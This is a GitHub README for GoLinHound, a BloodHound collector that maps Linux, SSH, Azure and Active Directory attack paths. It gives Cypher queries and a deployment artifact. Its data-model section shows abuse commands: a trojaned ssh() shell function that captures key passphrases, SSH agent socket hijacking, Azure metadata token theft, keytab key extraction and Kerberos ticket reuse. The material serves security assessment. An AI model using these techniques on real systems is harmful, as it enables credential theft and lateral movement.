Skip to content

A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.

License

Notifications You must be signed in to change notification settings

RantaSec/golinhound

Repository files navigation

GoLinHound

A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.

Table of Contents

Getting Started

# clone repository
git clone https://github.com/rantasec/golinhound
cd golinhound

# add custom node icons to BloodHound
BASEURL="http://localhost:8080"
TOKEN="<YOUR_TOKEN>"
curl -X "POST" \
  "${BASEURL}/api/v2/custom-nodes" \
  -H "accept: application/json" \
  -H "Prefer: wait=30" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d @res/custom-nodes.json

# build golinhound yourself
make build

# alternatively, download latest release
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64"
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-arm64"

# execute golinhound
sudo ./bin/golinhound-linux-amd64 collect > output.json

# optional: merge multiple output files
cat *.json | ./bin/golinhound-linux-amd64 merge > merged.json

Data Model

This section describes the edges collected by GoLinHound and provides examples how they can be abused.

SSH

HasPrivateKey

Collected by parsing all private keys in $HOME/.ssh/ directories. This edge indicates that a user has access to a specific SSH keypair.

If the corresponding private key is password-protected, the password can be captured by adding an SSH command alias to the user's profile:

ssh() {
  for ((i=1; i<=$#; i++)); do
    if [[ ${!i} == "-i" ]]; then
      next=$((i+1))
      if ssh-keygen -y -P "" -f "${!next}" >/dev/null 2>&1; then
        break
      fi
      if [[ -f "${!next}.password" ]]; then
        break
      fi
      echo -n "Enter passphrase for key '${!next}': "
      read -s passphrase
      echo ""
      echo "$passphrase" > ${!next}.password
      break
    fi
  done
  command ssh "$@"
}

CanSSH

Collected by parsing authorized_keys files. This edge indicates that a SSHKeyPair can be used to authenticate via SSH to an SSHComputer as a specific SSHUser.

Connect using the private key:

ssh -i <priv_key> user@host

ForwardsKey

This edge indicates that a keypair was forwarded to another SSHComputer via SSH agent forwarding.

Use the forwarded authentication socket to authenticate to other hosts:

export SSH_AUTH_SOCK="/tmp/ssh-IbF2XDIsRI/agent.9869"
ssh user@host

Linux

IsRoot

This edge indicates that an SSHUser is the root user of an SSHComputer.

No additional exploitation needed - root is already the most privileged user on the system.

CanSudo

Collected by parsing sudoers configuration files. This edge indicates that a user has privileges to execute commands as root via sudo.

Escalate to root privileges:

sudo -u#0 bash

CanImpersonate

Once a user has escalated to root, they can impersonate any other user on the system.

Execute bash as another user:

sudo -u <username> bash

Azure / Entra

SameMachine

This edge indicates that an SSHComputer is an AZVM. This edge is bidirectional.

A token for the machine identity can be obtained via:

curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s

A privileged Azure user can execute code on the VM via:

az vm run-command invoke \
  --resource-group myResourceGroup \
  --name myLinuxVM \
  --command-id RunShellScript \
  --scripts "whoami"

Active Directory

This edge indicates that credentials for an Active Directory user are stored in a keytab file on an SSHComputer.

Extract Kerberos encryption keys from the keytab:

klist -eKkt /home/alice/svc_custom.keytab

HasTGT

This edge indicates that cached Ticket Granting Tickets (TGTs) for an Active Directory user exist on an SSHComputer, typically in /tmp/krb5cc_* files.

Export and use the credential cache:

export KRB5CCNAME=/tmp/krb5cc_<uid>
klist

Cypher Queries

This section demonstrates Cypher queries that uncover interesting attack paths. Sample OpenGraph JSON files for testing these queries can be found in the res/examples/ directory.

Local Privilege Escalation

This query identifies non-privileged users that can obtain root privileges.

// identify administrative users
MATCH pEnd=(admin:SSHUser)-[:CanSudo|IsRoot]->(c:SSHComputer)
// identify unprivileged users
MATCH (c)-[:CanImpersonate]->(user:SSHUser)
WHERE NOT (user)-[:CanSudo|IsRoot]->(c)
// find path from unprivileged user to admin
MATCH pStart=allShortestPaths((user)-[*1..]->(admin))
// start segment should not include target computer
WHERE none(n in nodes(pStart) WHERE n.objectid=c.objectid)
RETURN pStart, pEnd

Pivot from Dev to Prod

This query identifies attack paths from test/dev to prod.

// identify all computers that contain non-prod strings
MATCH (testc:SSHComputer)
WHERE (
    testc.name CONTAINS "TEST" OR
    testc.name CONTAINS "TST" OR
    testc.name CONTAINS "DEV"
)
// identify computers with prod string and all local users
MATCH (prodc:SSHComputer)-[:CanImpersonate]->(produ:SSHUser)
WHERE (
    prodc.name CONTAINS "PROD" OR
    prodc.name contains "PRD"
)
// check if there is path from test to prod
MATCH p=allShortestPaths((testc)-[*..]->(produ))
// ignore paths that go through the prod host
WHERE none(n in nodes(p) WHERE n.objectid=prodc.objectid)
// show privileges to prod host
OPTIONAL MATCH p2=(produ)-[:CanSudo|IsRoot]->(prodc)
RETURN p,p2

Azure Tenant Breakout

This query shows non-Azure attack paths from a vm in one Azure tenant to a vm in another tenant.

MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WHERE vm1.tenantid <> vm2.tenantid
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN p

Azure Subscription Breakout

This query shows non-Azure attack paths from a vm in one Azure subscription to a vm in another subscription.

MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WITH 
    vm1,
    vm2,
    substring(vm1.objectid,15,36) AS subscriptionId1,
    substring(vm2.objectid,15,36) AS subscriptionId2
WHERE subscriptionId1 <> subscriptionId2
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN p

Azure VMs with Privileged Service Principals

This query shows non-Azure attack paths to Azure VMs that have privileges assigned.

MATCH p=(:SSHComputer)-[:SameMachine]->(vm:AZVM)-->(:AZServicePrincipal)-->()
RETURN p

Active Directory Domain Breakout

This query shows non-AD attack paths from a computer in one domain to a computer in another domain.

MATCH p1=(c1:SSHComputer)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(c2:SSHComputer)-[:HasKeytab|:HasTGT]->(ad2)
WHERE c1 <> c2 AND ad1.domain <> ad2.domain
MATCH p=allShortestPaths((c1)-[*..]->(c2))
RETURN p1, p, p2

Active Directory Principal Breakout

This query shows non-AD attack paths from a computer with access to one AD principal to a computer with another AD principal.

MATCH p1=(c1:SSHComputer)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(c2:SSHComputer)-[:HasKeytab|:HasTGT]->(ad2)
WHERE c1 <> c2 AND ad1 <> ad2
MATCH p=allShortestPaths((c1)-[*..]->(c2))
RETURN p1, p, p2

Private Keys on More Than One Computer

This query identifies private keys that can be found on multiple hosts.

MATCH (c:SSHComputer)-[:CanImpersonate]->(u:SSHUser)-[:HasPrivateKey]->(k:SSHKeyPair)
WITH k, collect(DISTINCT c) AS computers
WHERE size(computers) > 1
UNWIND computers AS c
MATCH p=(c)-[:CanImpersonate]->()-[:HasPrivateKey]->(k)
RETURN p

Unprotected Private Keys

This query shows private keys that are unencrypted and not protected by FIDO2.

MATCH p=(:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false AND r.Encrypted = false
RETURN p

Private Keys with Weak Encryption

This query shows non-FIDO2 private keys that are encrypted with something other than aes.

MATCH p=(u:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false
  AND r.Encrypted = true
  AND r.Cipher <> "none"
  AND NOT r.Cipher STARTS WITH "aes256-"
  AND NOT r.Cipher STARTS WITH "aes128-"
RETURN p

Agent Forwarding

This query shows which private keys are forwarded via SSH agent forwarding.

MATCH p=(:SSHUser)-[:ForwardsKey]->(k:SSHKeyPair)
RETURN p

Hosts that allow root logins

This query returns hosts that allow the root user to login.

MATCH p=(:SSHKeyPair)-[:CanSSH]->(:SSHUser)-[:IsRoot]->(:SSHComputer)
RETURN p

Large-Scale Deployment

GoLinHound can be deployed using any tool with remote code execution capabilities across your Linux infrastructure. For Velociraptor users, a pre-built artifact is provided below for streamlined deployment:

name: Custom.Linux.Linhound.GoTool
description: |
   Velociraptor Client Artifact to push GoLinhound to a client and execute. The binary will be downloaded to a temporary folder and will be deleted after execution. The artifact will return the json which can be pushed to Bloodhound.

author: Hendrik Schmidt, @hendrkss

precondition: SELECT OS, PlatformFamily, Architecture FROM info() WHERE OS = 'linux' AND NOT Architecture =~ 'arm'
type: CLIENT

implied_permissions:
  - EXECVE
  - FILESYSTEM_WRITE
  - FILESYSTEM_READ

tools:
  - name: goLinhound
    url: https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64

sources:
    - name: GetToolingAndExecute
      query: |
              LET getTool = SELECT OSPath as MyPath FROM Artifact.Generic.Utils.FetchBinary(
                      ToolName= "goLinhound", 
                      ToolInfo="GoLinhound Executable",
                      IsExecutable=TRUE,
                      TemporaryOnly=TRUE
                    )
              
              LET runTool = SELECT MyPath,* FROM execve(argv=[MyPath,"collect"],length=100000000)
              
              SELECT * FROM foreach(
                            row=getTool,
                            query={SELECT * FROM chain(a=runTool)
                            }
                    )

Author & License

Copyright © 2026 Lukas Klein. Licensed under GPL-3.0 - see LICENSE.

Acknowledgements

I would like to thank the following people for their support on this project:

  • Hendrik Schmidt (@hendrkss) for valuable discussions and working out the Velociraptor deployment strategy

  • Hilko Bengen (@hillu) for general guidance and support

About

A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.

Resources

License

Stars

Watchers

Forks

Contributors